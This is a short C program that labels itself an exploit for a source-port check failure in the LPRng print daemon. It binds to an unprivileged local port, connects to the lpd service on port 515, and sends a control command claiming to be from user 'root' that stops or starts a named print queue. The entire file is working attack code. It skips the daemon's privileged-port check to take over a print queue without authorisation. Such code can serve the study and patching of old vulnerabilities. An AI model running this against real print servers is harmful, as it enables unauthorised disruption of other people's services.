/*
 * Exploit for lprng's source port check failure.
 * Written and tested on Debian GNU/Linux
 *
 *           Chris Leishman <masklin@debian.org>
 */

#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>

#define SRC_PORT 2056
#define HOST "127.0.0.1"
#define DST_PORT 515

int main(int argc, char **argv)
{
    int sock;
	struct sockaddr_in dest_sin;
	struct sockaddr_in src_sin;
	struct hostent *hp;
	unsigned long ipnum;
	char line[256];
	int mode = 0;

	if (argc < 2)
	{
		fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
		exit(EXIT_FAILURE);
	}
	if (argc >= 3)
	{
		if (!strcmp(argv[2], "start"))
			mode = 1;
		else if (strcmp(argv[2], "stop"))
		{
			fprintf(stderr, "Invalid mode.  Use stop or start.\n");
			fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
			exit(EXIT_FAILURE);
		}
	}

	snprintf(line, sizeof(line), "%c%s root %s %s\n",
		6, argv[1], (mode)? "start":"stop", argv[1]);

	memset(&dest_sin, 0, sizeof(struct sockaddr_in));
	dest_sin.sin_port = htons((short) DST_PORT);

	ipnum = (unsigned long) inet_addr(HOST);
	if (ipnum != ((unsigned long) INADDR_NONE))
	{
		dest_sin.sin_family = AF_INET;
		dest_sin.sin_addr.s_addr = ipnum;
	}
	else
	{
		if ((hp = gethostbyname(HOST)) == NULL)
		{
			fprintf(stderr, "Host lookup failed.\n");
			exit(EXIT_FAILURE);
		}

		dest_sin.sin_family = hp->h_addrtype;
		memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
		(size_t)hp->h_length);
	}

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("Socket call failed");
		exit(EXIT_FAILURE);
	}

	src_sin.sin_family = AF_INET;
	src_sin.sin_addr.s_addr = INADDR_ANY;
	src_sin.sin_port = htons((u_short) SRC_PORT);

	if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
	{
		perror("Bind failed");
		exit(EXIT_FAILURE);
	}

	if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
	{
		close(sock);
		perror("Connect failed");
		exit(EXIT_FAILURE);
	}

	if (write(sock, line, strlen(line)) <= 0)
	{
		perror("Write failed");
		exit(EXIT_FAILURE);
	}

	close(sock);

	return EXIT_SUCCESS;
}